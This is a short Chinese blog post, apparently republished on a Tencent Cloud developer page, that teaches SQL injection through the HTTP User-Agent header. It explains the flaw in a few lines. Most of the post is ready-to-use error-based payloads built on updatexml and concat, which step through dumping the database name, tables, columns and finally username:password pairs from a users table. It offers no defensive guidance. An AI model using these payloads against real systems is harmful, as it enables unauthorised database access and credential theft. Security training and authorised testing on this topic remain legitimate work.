首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >sql注入之HTTP Header注入

sql注入之HTTP Header注入

作者头像
逍遥子大表哥
发布于 2021-12-17 17:55:38
发布于 2021-12-17 17:55:38
1.4K0
举报
文章被收录于专栏:kali blogkali blog

什么是Http Header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)

或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑

则可能会导致基于http header的SQL Inject漏洞。

基于user-agent字段

验证

在user-agent字段后输入'效果如下

爆出数据库

代码语言:javascript
复制
User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'

爆出表

代码语言:javascript
复制
User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'

爆出列

代码语言:javascript
复制
User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'

爆出内容

代码语言:javascript
复制
User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1920886

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 什么是Http Header注入
  • 基于user-agent字段
  • 验证
  • 爆出数据库
  • 爆出表
  • 爆出列
  • 爆出内容
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档